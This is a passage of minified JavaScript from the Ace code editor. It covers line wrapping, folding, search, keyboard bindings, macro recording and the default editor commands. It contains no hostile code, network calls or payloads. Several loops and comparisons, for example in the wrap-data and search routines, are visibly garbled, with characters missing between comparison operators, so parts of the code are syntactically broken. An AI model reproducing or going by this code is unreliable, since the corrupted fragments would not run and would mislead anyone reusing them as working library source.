e=e.clone(),e.start.row+=s,e.end.row+=s,e})),a=0==i?this.doc.getLines(e,t):this.doc.removeFullLines(e,t);return this.doc.insertFullLines(e+s,a),r.length&&this.addFolds(r),s},this.moveLinesUp=function(e,t){return this.$moveLines(e,t,-1)},this.moveLinesDown=function(e,t){return this.$moveLines(e,t,1)},this.duplicateLines=function(e,t){return this.$moveLines(e,t,0)},this.$clipRowToDocument=function(e){return Math.max(0,Math.min(e,this.doc.getLength()-1))},this.$clipColumnToRow=function(e,t){return t<0?0:Math.min(this.doc.getLine(e).length,t)},this.$clipPositionToDocument=function(e,t){if(t=Math.max(0,t),e<0)e=0,t=0;else{var i=this.doc.getLength();e>=i?(e=i-1,t=this.doc.getLine(i-1).length):t=Math.min(this.doc.getLine(e).length,t)}return{row:e,column:t}},this.$clipRangeToDocument=function(e){e.start.row<0?(e.start.row=0,e.start.column=0):e.start.column=this.$clipColumnToRow(e.start.row,e.start.column);var t=this.doc.getLength()-1;return e.end.row>t?(e.end.row=t,e.end.column=this.doc.getLine(t).length):e.end.column=this.$clipColumnToRow(e.end.row,e.end.column),e},this.$wrapLimit=80,this.$useWrapMode=!1,this.$wrapLimitRange={min:null,max:null},this.setUseWrapMode=function(e){if(e!=this.$useWrapMode){if(this.$useWrapMode=e,this.$modified=!0,this.$resetRowCache(0),e){var t=this.getLength();this.$wrapData=Array(t),this.$updateWrapData(0,t-1)}this._signal("changeWrapMode")}},this.getUseWrapMode=function(){return this.$useWrapMode},this.setWrapLimitRange=function(e,t){this.$wrapLimitRange.min===e&&this.$wrapLimitRange.max===t||(this.$wrapLimitRange={min:e,max:t},this.$modified=!0,this.$bidiHandler.markAsDirty(),this.$useWrapMode&&this._signal("changeWrapMode"))},this.adjustWrapLimit=function(e,t){var i=this.$wrapLimitRange;i.max<0&&(i={min:t,max:t});var n=this.$constrainWrapLimit(e,i.min,i.max);return n!=this.$wrapLimit&&n>1&&(this.$wrapLimit=n,this.$modified=!0,this.$useWrapMode&&(this.$updateWrapData(0,this.getLength()-1),this.$resetRowCache(0),this._signal("changeWrapLimit")),!0)},this.$constrainWrapLimit=function(e,t,i){return t&&(e=Math.max(t,e)),i&&(e=Math.min(i,e)),e},this.getWrapLimit=function(){return this.$wrapLimit},this.setWrapLimit=function(e){this.setWrapLimitRange(e,e)},this.getWrapLimitRange=function(){return{min:this.$wrapLimitRange.min,max:this.$wrapLimitRange.max}},this.$updateInternalDataOnChange=function(e){var t=this.$useWrapMode,i=e.action,n=e.start,s=e.end,o=n.row,r=s.row,a=r-o,l=null;if(this.$updating=!0,0!=a)if("remove"===i){this[t?"$wrapData":"$rowLengthCache"].splice(o,a);var c=this.$foldData;l=this.getFoldsInRange(e),this.removeFolds(l);var h=this.getFoldLine(s.row),u=0;if(h){h.addRemoveChars(s.row,s.column,n.column-s.column),h.shiftRow(-a);var d=this.getFoldLine(o);d&&d!==h&&(d.merge(h),h=d),u=c.indexOf(h)+1}for(u;u=s.row&&h.shiftRow(-a)}r=o}else{var g=Array(a);g.unshift(o,0);var f=t?this.$wrapData:this.$rowLengthCache;f.splice.apply(f,g);c=this.$foldData,h=this.getFoldLine(o),u=0;if(h){var p=h.range.compareInside(n.row,n.column);0==p?(h=h.split(n.row,n.column),h&&(h.shiftRow(a),h.addRemoveChars(r,0,s.column-n.column))):-1==p&&(h.addRemoveChars(o,0,s.column-n.column),h.shiftRow(a)),u=c.indexOf(h)+1}for(u;u=o&&h.shiftRow(a)}}else{a=Math.abs(e.start.column-e.end.column),"remove"===i&&(l=this.getFoldsInRange(e),this.removeFolds(l),a=-a);h=this.getFoldLine(o);h&&h.addRemoveChars(o,n.column,a)}return t&&this.$wrapData.length!=this.doc.getLength()&&console.error("doc.getLength() and $wrapData.length have to be the same!"),this.$updating=!1,t?this.$updateWrapData(o,r):this.$updateRowLengthCache(o,r),l},this.$updateRowLengthCache=function(e,t,i){this.$rowLengthCache[e]=null,this.$rowLengthCache[t]=null},this.$updateWrapData=function(e,t){var n,s,r=this.doc.getAllLines(),a=this.getTabSize(),l=this.$wrapData,c=this.$wrapLimit,h=e;t=Math.min(t,r.length-1);while(h<=t)s=this.getFoldLine(h,s),s?(n=[],s.walk(function(e,t,s,a){var l;if(null!=e){l=this.$getDisplayTokens(e,n.length),l[0]=i;for(var c=1;c=4352&&e<=4447||e>=4515&&e<=4519||e>=4602&&e<=4607||e>=9001&&e<=9002||e>=11904&&e<=11929||e>=11931&&e<=12019||e>=12032&&e<=12245||e>=12272&&e<=12283||e>=12288&&e<=12350||e>=12353&&e<=12438||e>=12441&&e<=12543||e>=12549&&e<=12589||e>=12593&&e<=12686||e>=12688&&e<=12730||e>=12736&&e<=12771||e>=12784&&e<=12830||e>=12832&&e<=12871||e>=12880&&e<=13054||e>=13056&&e<=19903||e>=19968&&e<=42124||e>=42128&&e<=42182||e>=43360&&e<=43388||e>=44032&&e<=55203||e>=55216&&e<=55238||e>=55243&&e<=55291||e>=63744&&e<=64255||e>=65040&&e<=65049||e>=65072&&e<=65106||e>=65108&&e<=65126||e>=65128&&e<=65131||e>=65281&&e<=65376||e>=65504&&e<=65510)}this.$computeWrapSplits=function(e,n,s){if(0==e.length)return[];var r=[],a=e.length,c=0,h=0,d=this.$wrapAsCode,g=this.$indentedSoftWrap,m=n<=Math.max(2*s,8)||!1===g?0:Math.floor(n/2);function A(){var t=0;if(0===m)return t;if(g)for(var i=0;in-C){var w=c+n-C;if(e[w-1]>=u&&e[w]>=u)v(w);else if(e[w]!=i&&e[w]!=o){var F=Math.max(w-(n-(n>>2)),c-1);while(w>F&&e[w]F&&e[w]F&&e[w]==l)w--}else while(w>F&&e[w]F?v(++w):(w=c+n,e[w]==t&&w--,v(w-C))}else{for(w;w!=c-1;w--)if(e[w]==i)break;if(w>c){v(w);continue}for(w=c+n,w;w39&&a<48||a>57&&a<64?o.push(l):a>=4352&&m(a)?o.push(e,t):o.push(e)}return o},this.$getStringScreenWidth=function(e,t,i){if(0==t)return[0,0];var n,s;for(null==t&&(t=1/0),i=i||0,s=0;s=4352&&m(n)?i+=2:i+=1,i>t)break;return[i,s]},this.lineWidgets=null,this.getRowLength=function(e){if(this.lineWidgets)var t=this.lineWidgets[e]&&this.lineWidgets[e].rowCount||0;else t=0;return this.$useWrapMode&&this.$wrapData[e]?this.$wrapData[e].length+1+t:1+t},this.getRowLineCount=function(e){return this.$useWrapMode&&this.$wrapData[e]?this.$wrapData[e].length+1:1},this.getRowWrapIndent=function(e){if(this.$useWrapMode){var t=this.screenToDocumentPosition(e,Number.MAX_VALUE),i=this.$wrapData[t.row];return i.length&&i[0]=0){a=c[h],o=this.$docRowCache[h];var d=e>c[u-1]}else d=!u;var g=this.getLength()-1,f=this.getNextFoldLine(o),p=f?f.start.row:1/0;while(a<=e){if(l=this.getRowLength(o),a+l>e||o>=g)break;a+=l,o++,o>p&&(o=f.end.row+1,f=this.getNextFoldLine(o,f),p=f?f.start.row:1/0),d&&(this.$docRowCache.push(o),this.$screenRowCache.push(a))}if(f&&f.start.row<=o)n=this.getFoldDisplayLine(f),o=f.start.row;else{if(a+l<=e||o>g)return{row:g,column:this.getLine(g).length};n=this.getLine(o),f=null}var m=0,A=Math.floor(e-a);if(this.$useWrapMode){var v=this.$wrapData[o];v&&(s=v[A],A>0&&v.length&&(m=v.indent,r=v[A-1]||v[v.length-1],n=n.substring(r)))}return void 0!==i&&this.$bidiHandler.isBidiRow(a+A,o,A)&&(t=this.$bidiHandler.offsetToCol(i)),r+=this.$getStringScreenWidth(n,t-m)[1],this.$useWrapMode&&r>=s&&(r=s-1),f?f.idxToPosition(r):{row:o,column:r}},this.documentToScreenPosition=function(e,t){if("undefined"===typeof t)var i=this.$clipPositionToDocument(e.row,e.column);else i=this.$clipPositionToDocument(e,t);e=i.row,t=i.column;var n=0,s=null,o=null;o=this.getFoldAt(e,t,1),o&&(e=o.start.row,t=o.start.column);var r,a=0,l=this.$docRowCache,c=this.$getRowCacheIndex(l,e),h=l.length;if(h&&c>=0){a=l[c],n=this.$screenRowCache[c];var u=e>l[h-1]}else u=!h;var d=this.getNextFoldLine(a),g=d?d.start.row:1/0;while(a=g){if(r=d.end.row+1,r>e)break;d=this.getNextFoldLine(r,d),g=d?d.start.row:1/0}else r=a+1;n+=this.getRowLength(a),a=r,u&&(this.$docRowCache.push(a),this.$screenRowCache.push(n))}var f="";d&&a>=g?(f=this.getFoldDisplayLine(d,e,t),s=d.start.row):(f=this.getLine(e).substring(0,t),s=e);var p=0;if(this.$useWrapMode){var m=this.$wrapData[s];if(m){var A=0;while(f.length>=m[A])n++,A++;f=f.substring(m[A-1]||0,f.length),p=A>0?m.indent:0}}return{row:n,column:p+this.$getStringScreenWidth(f)[0]}},this.documentToScreenColumn=function(e,t){return this.documentToScreenPosition(e,t).column},this.documentToScreenRow=function(e,t){return this.documentToScreenPosition(e,t).row},this.getScreenLength=function(){var e=0,t=null;if(this.$useWrapMode){var i=this.$wrapData.length,n=0,s=(a=0,t=this.$foldData[a++],t?t.start.row:1/0);while(ns&&(n=t.end.row+1,t=this.$foldData[a++],s=t?t.start.row:1/0)}}else{e=this.getLength();for(var r=this.$foldData,a=0;ai)break;return[n,o]})},this.destroy=function(){this.bgTokenizer&&(this.bgTokenizer.setDocument(null),this.bgTokenizer=null),this.$stopWorker()},this.isFullWidth=m}.call(f.prototype),e("./edit_session/folding").Folding.call(f.prototype),e("./edit_session/bracket_match").BracketMatch.call(f.prototype),r.defineOptions(f.prototype,"session",{wrap:{set:function(e){if(e&&"off"!=e?"free"==e?e=!0:"printMargin"==e?e=-1:"string"==typeof e&&(e=parseInt(e,10)||!1):e=!1,this.$wrap!=e)if(this.$wrap=e,e){var t="number"==typeof e?e:null;this.setWrapLimitRange(t,t),this.setUseWrapMode(!0)}else this.setUseWrapMode(!1)},get:function(){return this.getUseWrapMode()?-1==this.$wrap?"printMargin":this.getWrapLimitRange().min?this.$wrap:"free":"off"},handlesSet:!0},wrapMethod:{set:function(e){e="auto"==e?"text"!=this.$mode.type:"text"!=e,e!=this.$wrapAsCode&&(this.$wrapAsCode=e,this.$useWrapMode&&(this.$modified=!0,this.$resetRowCache(0),this.$updateWrapData(0,this.getLength()-1)))},initialValue:"auto"},indentedSoftWrap:{initialValue:!0},firstLineNumber:{set:function(){this._signal("changeBreakpoint")},initialValue:1},useWorker:{set:function(e){this.$useWorker=e,this.$stopWorker(),e&&this.$startWorker()},initialValue:!0},useSoftTabs:{initialValue:!0},tabSize:{set:function(e){isNaN(e)||this.$tabSize===e||(this.$modified=!0,this.$rowLengthCache=[],this.$tabSize=e,this._signal("changeTabSize"))},initialValue:4,handlesSet:!0},navigateWithinSoftTabs:{initialValue:!1},overwrite:{set:function(e){this._signal("changeOverwrite")},initialValue:!1},newLineMode:{set:function(e){this.doc.setNewLineMode(e)},get:function(){return this.doc.getNewLineMode()},handlesSet:!0},mode:{set:function(e){this.setMode(e)},get:function(){return this.$modeId}}}),t.EditSession=f})),ace.define("ace/search",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"],(function(e,t,i){"use strict";var n=e("./lib/lang"),s=e("./lib/oop"),o=e("./range").Range,r=function(){this.$options={}};function a(e,t){function i(e){return/\w/.test(e)||t.regExp?"\\b":""}return i(e[0])+e+i(e[e.length-1])}(function(){this.set=function(e){return s.mixin(this.$options,e),this},this.getOptions=function(){return n.copyObject(this.$options)},this.setOptions=function(e){this.$options=e},this.find=function(e){var t=this.$options,i=this.$matchIterator(e,t);if(!i)return!1;var n=null;return i.forEach((function(e,i,s,r){return n=new o(e,i,s,r),!(i==r&&t.start&&t.start.start&&0!=t.skipCurrent&&n.isEqual(t.start))||(n=null,!1)})),n},this.findAll=function(e){var t=this.$options;if(!t.needle)return[];this.$assembleRegExp(t);var i=t.range,s=i?e.getLines(i.start.row,i.end.row):e.doc.getAllLines(),r=[],a=t.re;if(t.$isMultiLine){var l,c=a.length,h=s.length-c;e:for(var u=a.offset||0;u<=h;u++){for(var d=0;dp||(r.push(l=new o(u,p,u+c-1,m)),c>2&&(u=u+c-2))}}else for(var A=0;AF&&r[d].end.row==i.end.row)d--;for(r=r.slice(A,d+1),A=0,d=r.length;A=a;i--)if(u(i,Number.MAX_VALUE,e))return;if(0!=t.wrap)for(i=l,a=r.row;i>=a;i--)if(u(i,Number.MAX_VALUE,e))return}};else c=function(e){var i=r.row;if(!u(i,r.column,e)){for(i+=1;i<=l;i++)if(u(i,0,e))return;if(0!=t.wrap)for(i=a,l=r.row;i<=l;i++)if(u(i,0,e))return}};if(t.$isMultiLine)var h=i.length,u=function(t,s,o){var r=n?t-h+1:t;if(!(r<0)){var a=e.getLine(r),l=a.search(i[0]);if(!(!n&&ls))return!!o(r,l,r+h-1,u)||void 0}}};else if(n)u=function(t,n,s){var o,r=e.getLine(t),a=[],l=0;i.lastIndex=0;while(o=i.exec(r)){var c=o[0].length;if(l=o.index,!c){if(l>=r.length)break;i.lastIndex=l+=1}if(o.index+c>n)break;a.push(o.index,c)}for(var h=a.length-1;h>=0;h-=2){var u=a[h-1];c=a[h];if(s(t,u,t,u+c))return!0}};else u=function(t,n,s){var o,r=e.getLine(t),a=n;i.lastIndex=n;while(o=i.exec(r)){var l=o[0].length;if(a=o.index,s(t,a,t,a+l))return!0;if(!l&&(i.lastIndex=a+=1,a>=r.length))return!1}};return{forEach:c}}}).call(r.prototype),t.Search=r})),ace.define("ace/keyboard/hash_handler",["require","exports","module","ace/lib/keys","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/keys"),s=e("../lib/useragent"),o=n.KEY_MODS;function r(e,t){this.platform=t||(s.isMac?"mac":"win"),this.commands={},this.commandKeyBinding={},this.addCommands(e),this.$singleCommand=!0}function a(e,t){r.call(this,e,t),this.$singleCommand=!1}a.prototype=r.prototype,function(){function e(e){return"object"==typeof e&&e.bindKey&&e.bindKey.position||(e.isDefault?-100:0)}this.addCommand=function(e){this.commands[e.name]&&this.removeCommand(e),this.commands[e.name]=e,e.bindKey&&this._buildKeyHash(e)},this.removeCommand=function(e,t){var i=e&&("string"===typeof e?e:e.name);e=this.commands[i],t||delete this.commands[i];var n=this.commandKeyBinding;for(var s in n){var o=n[s];if(o==e)delete n[s];else if(Array.isArray(o)){var r=o.indexOf(e);-1!=r&&(o.splice(r,1),1==o.length&&(n[s]=o[0]))}}},this.bindKey=function(e,t,i){if("object"==typeof e&&e&&(void 0==i&&(i=e.position),e=e[this.platform]),e)return"function"==typeof t?this.addCommand({exec:t,bindKey:e,name:t.name||e}):void e.split("|").forEach((function(e){var n="";if(-1!=e.indexOf(" ")){var s=e.split(/\s+/);e=s.pop(),s.forEach((function(e){var t=this.parseKeys(e),i=o[t.hashId]+t.key;n+=(n?" ":"")+i,this._addCommandToBinding(n,"chainKeys")}),this),n+=" "}var r=this.parseKeys(e),a=o[r.hashId]+r.key;this._addCommandToBinding(n+a,t,i)}),this)},this._addCommandToBinding=function(t,i,n){var s,o=this.commandKeyBinding;if(i)if(!o[t]||this.$singleCommand)o[t]=i;else{Array.isArray(o[t])?-1!=(s=o[t].indexOf(i))&&o[t].splice(s,1):o[t]=[o[t]],"number"!=typeof n&&(n=e(i));var r=o[t];for(s=0;sn)break}r.splice(s,0,i)}else delete o[t]},this.addCommands=function(e){e&&Object.keys(e).forEach((function(t){var i=e[t];if(i){if("string"===typeof i)return this.bindKey(i,t);"function"===typeof i&&(i={exec:i}),"object"===typeof i&&(i.name||(i.name=t),this.addCommand(i))}}),this)},this.removeCommands=function(e){Object.keys(e).forEach((function(t){this.removeCommand(e[t])}),this)},this.bindKeys=function(e){Object.keys(e).forEach((function(t){this.bindKey(t,e[t])}),this)},this._buildKeyHash=function(e){this.bindKey(e.bindKey,e)},this.parseKeys=function(e){var t=e.toLowerCase().split(/[\-\+]([\-\+])?/).filter((function(e){return e})),i=t.pop(),s=n[i];if(n.FUNCTION_KEYS[s])i=n.FUNCTION_KEYS[s].toLowerCase();else{if(!t.length)return{key:i,hashId:-1};if(1==t.length&&"shift"==t[0])return{key:i.toUpperCase(),hashId:-1}}for(var o=0,r=t.length;r--;){var a=n.KEY_MODS[t[r]];if(null==a)return"undefined"!=typeof console&&console.error("invalid modifier "+t[r]+" in "+e),!1;o|=a}return{key:i,hashId:o}},this.findKeyCommand=function(e,t){var i=o[e]+t;return this.commandKeyBinding[i]},this.handleKeyboard=function(e,t,i,n){if(!(n<0)){var s=o[t]+i,r=this.commandKeyBinding[s];return e.$keyChain&&(e.$keyChain+=" "+s,r=this.commandKeyBinding[e.$keyChain]||r),!r||"chainKeys"!=r&&"chainKeys"!=r[r.length-1]?(e.$keyChain&&(t&&4!=t||1!=i.length?(-1==t||n>0)&&(e.$keyChain=""):e.$keyChain=e.$keyChain.slice(0,-s.length-1)),{command:r}):(e.$keyChain=e.$keyChain||s,{command:"null"})}},this.getStatusText=function(e,t){return t.$keyChain||""}}.call(r.prototype),t.HashHandler=r,t.MultiHashHandler=a})),ace.define("ace/commands/command_manager",["require","exports","module","ace/lib/oop","ace/keyboard/hash_handler","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("../keyboard/hash_handler").MultiHashHandler,o=e("../lib/event_emitter").EventEmitter,r=function(e,t){s.call(this,t,e),this.byName=this.commands,this.setDefaultHandler("exec",(function(e){return e.command.exec(e.editor,e.args||{})}))};n.inherits(r,s),function(){n.implement(this,o),this.exec=function(e,t,i){if(Array.isArray(e)){for(var n=e.length;n--;)if(this.exec(e[n],t,i))return!0;return!1}if("string"===typeof e&&(e=this.commands[e]),!e)return!1;if(t&&t.$readOnly&&!e.readOnly)return!1;if(e.isAvailable&&!e.isAvailable(t))return!1;var s={editor:t,command:e,args:i};return s.returnValue=this._emit("exec",s),this._signal("afterExec",s),!1!==s.returnValue},this.toggleRecording=function(e){if(!this.$inReplay)return e&&e._emit("changeStatus"),this.recording?(this.macro.pop(),this.removeEventListener("exec",this.$addCommandToMacro),this.macro.length||(this.macro=this.oldMacro),this.recording=!1):(this.$addCommandToMacro||(this.$addCommandToMacro=function(e){this.macro.push([e.command,e.args])}.bind(this)),this.oldMacro=this.macro,this.macro=[],this.on("exec",this.$addCommandToMacro),this.recording=!0)},this.replay=function(e){if(!this.$inReplay&&this.macro){if(this.recording)return this.toggleRecording(e);try{this.$inReplay=!0,this.macro.forEach((function(t){"string"==typeof t?this.exec(t,e):this.exec(t[0],e,t[1])}),this)}finally{this.$inReplay=!1}}},this.trimMacro=function(e){return e.map((function(e){return"string"!=typeof e[0]&&(e[0]=e[0].name),e[1]||(e=e[0]),e}))}}.call(r.prototype),t.CommandManager=r})),ace.define("ace/commands/default_commands",["require","exports","module","ace/lib/lang","ace/config","ace/range"],(function(e,t,i){"use strict";var n=e("../lib/lang"),s=e("../config"),o=e("../range").Range;function r(e,t){return{win:e,mac:t}}t.commands=[{name:"showSettingsMenu",bindKey:r("Ctrl-,","Command-,"),exec:function(e){s.loadModule("ace/ext/settings_menu",(function(t){t.init(e),e.showSettingsMenu()}))},readOnly:!0},{name:"goToNextError",bindKey:r("Alt-E","F4"),exec:function(e){s.loadModule("ace/ext/error_marker",(function(t){t.showErrorMarker(e,1)}))},scrollIntoView:"animate",readOnly:!0},{name:"goToPreviousError",bindKey:r("Alt-Shift-E","Shift-F4"),exec:function(e){s.loadModule("ace/ext/error_marker",(function(t){t.showErrorMarker(e,-1)}))},scrollIntoView:"animate",readOnly:!0},{name:"selectall",bindKey:r("Ctrl-A","Command-A"),exec:function(e){e.selectAll()},readOnly:!0},{name:"centerselection",bindKey:r(null,"Ctrl-L"),exec:function(e){e.centerSelection()},readOnly:!0},{name:"gotoline",bindKey:r("Ctrl-L","Command-L"),exec:function(e){var t=parseInt(prompt("Enter line number:"),10);isNaN(t)||e.gotoLine(t)},readOnly:!0},{name:"fold",bindKey:r("Alt-L|Ctrl-F1","Command-Alt-L|Command-F1"),exec:function(e){e.session.toggleFold(!1)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"unfold",bindKey:r("Alt-Shift-L|Ctrl-Shift-F1","Command-Alt-Shift-L|Command-Shift-F1"),exec:function(e){e.session.toggleFold(!0)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"toggleFoldWidget",bindKey:r("F2","F2"),exec:function(e){e.session.toggleFoldWidget()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"toggleParentFoldWidget",bindKey:r("Alt-F2","Alt-F2"),exec:function(e){e.session.toggleFoldWidget(!0)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"foldall",bindKey:r(null,"Ctrl-Command-Option-0"),exec:function(e){e.session.foldAll()},scrollIntoView:"center",readOnly:!0},{name:"foldOther",bindKey:r("Alt-0","Command-Option-0"),exec:function(e){e.session.foldAll(),e.session.unfold(e.selection.getAllRanges())},scrollIntoView:"center",readOnly:!0},{name:"unfoldall",bindKey:r("Alt-Shift-0","Command-Option-Shift-0"),exec:function(e){e.session.unfold()},scrollIntoView:"center",readOnly:!0},{name:"findnext",bindKey:r("Ctrl-K","Command-G"),exec:function(e){e.findNext()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"findprevious",bindKey:r("Ctrl-Shift-K","Command-Shift-G"),exec:function(e){e.findPrevious()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"selectOrFindNext",bindKey:r("Alt-K","Ctrl-G"),exec:function(e){e.selection.isEmpty()?e.selection.selectWord():e.findNext()},readOnly:!0},{name:"selectOrFindPrevious",bindKey:r("Alt-Shift-K","Ctrl-Shift-G"),exec:function(e){e.selection.isEmpty()?e.selection.selectWord():e.findPrevious()},readOnly:!0},{name:"find",bindKey:r("Ctrl-F","Command-F"),exec:function(e){s.loadModule("ace/ext/searchbox",(function(t){t.Search(e)}))},readOnly:!0},{name:"overwrite",bindKey:"Insert",exec:function(e){e.toggleOverwrite()},readOnly:!0},{name:"selecttostart",bindKey:r("Ctrl-Shift-Home","Command-Shift-Home|Command-Shift-Up"),exec:function(e){e.getSelection().selectFileStart()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"gotostart",bindKey:r("Ctrl-Home","Command-Home|Command-Up"),exec:function(e){e.navigateFileStart()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"selectup",bindKey:r("Shift-Up","Shift-Up|Ctrl-Shift-P"),exec:function(e){e.getSelection().selectUp()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"golineup",bindKey:r("Up","Up|Ctrl-P"),exec:function(e,t){e.navigateUp(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selecttoend",bindKey:r("Ctrl-Shift-End","Command-Shift-End|Command-Shift-Down"),exec:function(e){e.getSelection().selectFileEnd()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"gotoend",bindKey:r("Ctrl-End","Command-End|Command-Down"),exec:function(e){e.navigateFileEnd()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"selectdown",bindKey:r("Shift-Down","Shift-Down|Ctrl-Shift-N"),exec:function(e){e.getSelection().selectDown()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"golinedown",bindKey:r("Down","Down|Ctrl-N"),exec:function(e,t){e.navigateDown(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectwordleft",bindKey:r("Ctrl-Shift-Left","Option-Shift-Left"),exec:function(e){e.getSelection().selectWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotowordleft",bindKey:r("Ctrl-Left","Option-Left"),exec:function(e){e.navigateWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selecttolinestart",bindKey:r("Alt-Shift-Left","Command-Shift-Left|Ctrl-Shift-A"),exec:function(e){e.getSelection().selectLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotolinestart",bindKey:r("Alt-Left|Home","Command-Left|Home|Ctrl-A"),exec:function(e){e.navigateLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectleft",bindKey:r("Shift-Left","Shift-Left|Ctrl-Shift-B"),exec:function(e){e.getSelection().selectLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotoleft",bindKey:r("Left","Left|Ctrl-B"),exec:function(e,t){e.navigateLeft(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectwordright",bindKey:r("Ctrl-Shift-Right","Option-Shift-Right"),exec:function(e){e.getSelection().selectWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotowordright",bindKey:r("Ctrl-Right","Option-Right"),exec:function(e){e.navigateWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selecttolineend",bindKey:r("Alt-Shift-Right","Command-Shift-Right|Shift-End|Ctrl-Shift-E"),exec:function(e){e.getSelection().selectLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotolineend",bindKey:r("Alt-Right|End","Command-Right|End|Ctrl-E"),exec:function(e){e.navigateLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectright",bindKey:r("Shift-Right","Shift-Right"),exec:function(e){e.getSelection().selectRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotoright",bindKey:r("Right","Right|Ctrl-F"),exec:function(e,t){e.navigateRight(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectpagedown",bindKey:"Shift-PageDown",exec:function(e){e.selectPageDown()},readOnly:!0},{name:"pagedown",bindKey:r(null,"Option-PageDown"),exec:function(e){e.scrollPageDown()},readOnly:!0},{name:"gotopagedown",bindKey:r("PageDown","PageDown|Ctrl-V"),exec:function(e){e.gotoPageDown()},readOnly:!0},{name:"selectpageup",bindKey:"Shift-PageUp",exec:function(e){e.selectPageUp()},readOnly:!0},{name:"pageup",bindKey:r(null,"Option-PageUp"),exec:function(e){e.scrollPageUp()},readOnly:!0},{name:"gotopageup",bindKey:"PageUp",exec:function(e){e.gotoPageUp()},readOnly:!0},{name:"scrollup",bindKey:r("Ctrl-Up",null),exec:function(e){e.renderer.scrollBy(0,-2*e.renderer.layerConfig.lineHeight)},readOnly:!0},{name:"scrolldown",bindKey:r("Ctrl-Down",null),exec:function(e){e.renderer.scrollBy(0,2*e.renderer.layerConfig.lineHeight)},readOnly:!0},{name:"selectlinestart",bindKey:"Shift-Home",exec:function(e){e.getSelection().selectLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectlineend",bindKey:"Shift-End",exec:function(e){e.getSelection().selectLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"togglerecording",bindKey:r("Ctrl-Alt-E","Command-Option-E"),exec:function(e){e.commands.toggleRecording(e)},readOnly:!0},{name:"replaymacro",bindKey:r("Ctrl-Shift-E","Command-Shift-E"),exec:function(e){e.commands.replay(e)},readOnly:!0},{name:"jumptomatching",bindKey:r("Ctrl-P","Ctrl-P"),exec:function(e){e.jumpToMatching()},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:!0},{name:"selecttomatching",bindKey:r("Ctrl-Shift-P","Ctrl-Shift-P"),exec:function(e){e.jumpToMatching(!0)},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:!0},{name:"expandToMatching",bindKey:r("Ctrl-Shift-M","Ctrl-Shift-M"),exec:function(e){e.jumpToMatching(!0,!0)},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:!0},{name:"passKeysToBrowser",bindKey:r(null,null),exec:function(){},passEvent:!0,readOnly:!0},{name:"copy",exec:function(e){},readOnly:!0},{name:"cut",exec:function(e){var t=e.getSelectionRange();e._emit("cut",t),e.selection.isEmpty()||(e.session.remove(t),e.clearSelection())},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"paste",exec:function(e,t){e.$handlePaste(t)},scrollIntoView:"cursor"},{name:"removeline",bindKey:r("Ctrl-D","Command-D"),exec:function(e){e.removeLines()},scrollIntoView:"cursor",multiSelectAction:"forEachLine"},{name:"duplicateSelection",bindKey:r("Ctrl-Shift-D","Command-Shift-D"),exec:function(e){e.duplicateSelection()},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"sortlines",bindKey:r("Ctrl-Alt-S","Command-Alt-S"),exec:function(e){e.sortLines()},scrollIntoView:"selection",multiSelectAction:"forEachLine"},{name:"togglecomment",bindKey:r("Ctrl-/","Command-/"),exec:function(e){e.toggleCommentLines()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"toggleBlockComment",bindKey:r("Ctrl-Shift-/","Command-Shift-/"),exec:function(e){e.toggleBlockComment()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"modifyNumberUp",bindKey:r("Ctrl-Shift-Up","Alt-Shift-Up"),exec:function(e){e.modifyNumber(1)},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"modifyNumberDown",bindKey:r("Ctrl-Shift-Down","Alt-Shift-Down"),exec:function(e){e.modifyNumber(-1)},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"replace",bindKey:r("Ctrl-H","Command-Option-F"),exec:function(e){s.loadModule("ace/ext/searchbox",(function(t){t.Search(e,!0)}))}},{name:"undo",bindKey:r("Ctrl-Z","Command-Z"),e